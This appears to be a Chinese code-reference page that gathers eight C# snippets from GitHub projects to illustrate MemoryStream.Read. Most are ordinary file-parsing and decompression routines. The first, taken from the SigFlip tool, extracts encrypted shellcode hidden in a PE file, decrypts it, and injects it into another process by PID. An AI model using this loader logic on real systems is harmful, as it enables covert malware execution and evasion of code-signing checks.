C# MemoryStream.Read的代码示例
通过代码示例来学习C# MemoryStream.Read方法
通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境,使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例,初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践,通过学习和模仿这些实例,学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说,是一种快速提升编程水平的有效途径。
MemoryStream.Read是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的MemoryStream.Read() 已经帮大家高亮显示了,大家可以重点学习MemoryStream.Read() 方法的写法,从而快速掌握该方法的应用。
MemoryStream.Read的代码示例1 - Main()
using System.IO; public static void Main(string[] args) { ArgumentParser _parser = new ArgumentParser(args); if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") { Help(); } if (_parser.GetOrDefault("f", "null") != "null") { _pePath = _parser.GetOrDefault("f", "null"); _encKey = _parser.GetOrDefault("e", "null"); _pid = _parser.GetOrDefault("pid", "null"); if (_pePath == "null") Help(); if (_pid == "null") Help(); } else { Help(); } if (!File.Exists(_pePath)) Help(); Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath); Console.WriteLine(); byte[] _peBlob = Utils.Read(_pePath); int _dataOffset = Utils.scanPattern(_peBlob, _tag); Console.WriteLine("[+]:Scanning for Shellcode..."); if ( _dataOffset == -1) { Console.WriteLine("Could not locate data or shellcode"); Environment.Exit(0); } Stream stream = new MemoryStream(_peBlob); long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin); Console.WriteLine("[+]: Shellcode located at {0:x2}", pos); byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)]; stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length)); byte[] _data = Utils.Decrypt(shellcode, _encKey); stream.Close(); //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader. //CreateThread //ExecShellcode(_data); //CreateRemoteThread Loader.rexec(Convert.ToInt32(_pid), _data); }
开发者ID:med0x2e,项目名称:SigFlip,代码行数:56,代码来源:Program.cs
在Main()方法中,MemoryStream的代码示例类中的Read的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Read的代码示例2 - GetEmbeddedBitmap()
using System.IO; ///
/// Extracts the bitmap embedded into MSI (into Binary table). /// /// The session. /// The name on resource in the Binary table. ///public static Bitmap GetEmbeddedBitmap(this Session session, string binary) { try { using (var sql = session.Database.OpenView("select Data from Binary where Name = '" + binary + "'")) { sql.Execute(); using (var record = sql.Fetch()) using (var stream = record.GetStream(1)) using (var ms = new IO.MemoryStream()) { int Length = 256; var buffer = new Byte[Length]; int bytesRead = stream.Read(buffer, 0, Length); while (bytesRead > 0) { ms.Write(buffer, 0, bytesRead); bytesRead = stream.Read(buffer, 0, Length); } ms.Seek(0, IO.SeekOrigin.Begin); return (Bitmap)Bitmap.FromStream(ms); } } } catch { } return null; }
开发者ID:oleg-shilo,项目名称:wixsharp,代码行数:37,代码来源:Extensions.cs
在GetEmbeddedBitmap()方法中,MemoryStream的代码示例类中的Read的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Read的代码示例3 - GetMSIBinaryStream()
using System.IO; ///
/// Gets the embedded MSI binary stream. /// /// The binary id. ///Stream instance public Stream GetMSIBinaryStream(string binaryId) { using (var sqlView = this.session.Database.OpenView("select Data from Binary where Name = '" + binaryId + "'")) { sqlView.Execute(); Stream data = sqlView.Fetch().GetStream(1); var retval = new MemoryStream(); int Length = 256; var buffer = new Byte[Length]; int bytesRead = data.Read(buffer, 0, Length); while (bytesRead > 0) { retval.Write(buffer, 0, bytesRead); bytesRead = data.Read(buffer, 0, Length); } return retval; } }
开发者ID:oleg-shilo,项目名称:wixsharp,代码行数:27,代码来源:WixCLRDialog.cs
在GetMSIBinaryStream()方法中,MemoryStream的代码示例类中的Read的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Read的代码示例4 - Load()
using System.IO; #endregion public void Load(System.IO.Stream stream) { PluginRuntime.BxfntFiles.Add(this); CanSave = true; bffnt = new FFNT(); bffnt.Read(new FileReader(stream)); TGLP tglp = bffnt.FontSection.TextureGlyph; if (tglp.SheetDataList.Count > 0) { if (bffnt.Platform == FFNT.PlatformType.NX) { var bntx = STFileLoader.OpenFileFormat( new MemoryStream(Utils.CombineByteArray(tglp.SheetDataList.ToArray())), "Sheet_0"); if (bntx != null) { tglp.BinaryTextureFile = (BNTX)bntx; } } else if (bffnt.Platform == FFNT.PlatformType.Cafe) { for (int s = 0; s < tglp.SheetDataList.Count; s++) { var surface = new Gx2ImageBlock(); surface.Text = $"Sheet_{s}"; surface.Load(tglp, s); tglp.Textures.Add(surface); } } else if (bffnt.Platform == FFNT.PlatformType.Ctr) { for (int s = 0; s < tglp.SheetDataList.Count; s++) { var surface = new CtrImageBlock(); surface.Text = $"Sheet_{s}"; surface.Load(tglp, s); surface.GetBitmap().Save($"Image{s}.png"); tglp.Textures.Add(surface); } } else { for (int s = 0; s < tglp.SheetDataList.Count; s++) { var surface = new RevImageBlock(); surface.Text = $"Sheet_{s}"; surface.Load(tglp, s); surface.GetBitmap().Save($"Image{s}.png"); tglp.Textures.Add(surface); } } } int i = 0; foreach (byte[] texture in tglp.SheetDataList) { // BNTX file = (BNTX)STFileLoader.OpenFileFormat("Sheet" + i++, texture); // Nodes.Add(file); } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:67,代码来源:BXFNT.cs
在Load()方法中,MemoryStream的代码示例类中的Read的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Read的代码示例5 - Decompress()
using System.IO; #endregion #region Method: Decompress ///
/// Attempts to decompress the given input by letting all contained formats /// try to decompress the input. /// public override long Decompress(System.IO.Stream instream, long inLength, System.IO.Stream outstream) { byte[] inputData = new byte[instream.Length]; instream.Read(inputData, 0, inputData.Length); foreach (CompressionFormat format in this.formats) { if (!format.SupportsDecompression) continue; using (MemoryStream input = new MemoryStream(inputData)) { if (!format.Supports(input, inputData.Length)) continue; MemoryStream output = new MemoryStream(); try { long decLength = format.Decompress(input, inputData.Length, output); if (decLength > 0) { output.WriteTo(outstream); return decLength; } } catch (Exception) { continue; } } } throw new InvalidDataException("Input cannot be decompressed using the " + this.ShortFormatString + " formats."); }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:37,代码来源:CompositeFormat.cs
在Decompress()方法中,MemoryStream的代码示例类中的Read的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Read的代码示例6 - InflateZLIB()
using System.IO; public static byte[] InflateZLIB(byte[] i) { var stream = new MemoryStream(); var ms = new MemoryStream(i); ms.ReadByte(); ms.ReadByte(); var zlibStream = new DeflateStream(ms, CompressionMode.Decompress); byte[] buffer = new byte[4095]; while (true) { int size = zlibStream.Read(buffer, 0, buffer.Length); if (size > 0) stream.Write(buffer, 0, buffer.Length); else break; } zlibStream.Close(); return stream.ToArray(); }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:20,代码来源:FileReader.cs
在InflateZLIB()方法中,MemoryStream的代码示例类中的Read的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Read的代码示例7 - Read()
using System.IO; public void Read(FileReader reader) { string Signature = reader.ReadString(8, Encoding.ASCII); if (Signature != "GFLXPACK") throw new Exception($"Invalid signature {Signature}! Expected GFLXPACK."); GFPAKHashCache.EnsureHashCache(); version = reader.ReadInt32(); uint padding = reader.ReadUInt32(); uint FileCount = reader.ReadUInt32(); FolderCount = reader.ReadInt32(); ulong FileInfoOffset = reader.ReadUInt64(); ulong hashArrayPathsOffset = reader.ReadUInt64(); ulong FolderArrayOffset = reader.ReadUInt64(); reader.Seek((long)FolderArrayOffset, SeekOrigin.Begin); List
hashes = new List (); List FolderFiles = new List (); for (int i = 0; i < FolderCount; i++) { Folder folder = new Folder(); folder.Read(reader); folders.Add(folder); foreach (var hash in folder.hashes) FolderFiles.Add(hash); } reader.Seek((long)hashArrayPathsOffset, SeekOrigin.Begin); for (int i = 0; i < FileCount; i++) { ulong hash = reader.ReadUInt64(); hashes.Add(hash); } GeneratePokeStrings(); reader.Seek((long)FileInfoOffset, SeekOrigin.Begin); for (int i = 0; i < FileCount; i++) { FileEntry fileEntry = new FileEntry(this); fileEntry.Read(reader); string Extension = FindMatch(fileEntry.FileData); if (Extension.EndsWith("gfbanmcfg") && version != 0x1000) { GFBANMCFG cfg = new GFBANMCFG(); cfg.Load(new MemoryStream(fileEntry.FileData)); GenerateAnmCfgStrings(cfg); } files.Add(fileEntry); } for (int i = 0; i < FileCount; i++) { FileEntry fileEntry = files[i]; for (int f = 0; f < FolderFiles.Count; f++) if (FolderFiles[f].Index == i) fileEntry.FolderHash = FolderFiles[f]; var dir = fileEntry.FolderHash.Parent; fileEntry.FileName = GetString(hashes[i], fileEntry.FolderHash, fileEntry.FileData); fileEntry.FilePathHash = hashes[i]; } GFPAKHashCache.WriteCache(); }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:75,代码来源:GFPAK.cs
在Read()方法中,MemoryStream的代码示例类中的Read的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Read的代码示例8 - Decompress()
using System.IO; public static byte[] Decompress(byte[] input, bool useMagic = true) { if (input == null) throw new ArgumentNullException(nameof(input)); using (var reader = new FileReader(new MemoryStream(input), true)) { reader.SetByteOrder(true); reader.ReadSignature(4, "LZ77"); reader.Position = 0; int i, j, k, r, c, z; uint flags, decompressedSize, currentSize = 0; byte[] temp = new byte[8]; reader.Read(temp, 0, 8); if (temp[4] != 0x10) { reader.Dispose(); throw new Exception("Unsupported Compression Type!"); } decompressedSize = (BitConverter.ToUInt32(temp, 4)) >> 8; for (i = 0; i < N - F; i++) textBuffer[i] = 0xdf; r = N - F; flags = 7; z = 7; MemoryStream outFile = new MemoryStream(); while (outFile.Length < decompressedSize) { flags <<= 1; z++; if (z == 8) { if ((c = reader.ReadByte()) == -1) break; flags = (uint)c; z = 0; } if ((flags & 0x80) == 0) { if ((c = reader.ReadByte()) == reader.Length - 1) break; if (currentSize < decompressedSize) outFile.WriteByte((byte)c); textBuffer[r++] = (byte)c; r &= (N - 1); currentSize++; } else { if ((i = reader.ReadByte()) == -1) break; if ((j = reader.ReadByte()) == -1) break; j = j | ((i << 8) & 0xf00); i = ((i >> 4) & 0x0f) + threshold; for (k = 0; k <= i; k++) { c = textBuffer[(r - j - 1) & (N - 1)]; if (currentSize < decompressedSize) outFile.WriteByte((byte)c); textBuffer[r++] = (byte)c; r &= (N - 1); currentSize++; } } } return outFile.ToArray(); } return input; }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:68,代码来源:LZ77_WII.cs
在Decompress()方法中,MemoryStream的代码示例类中的Read的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
本文中的MemoryStream.Read方法示例由csref.cn整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。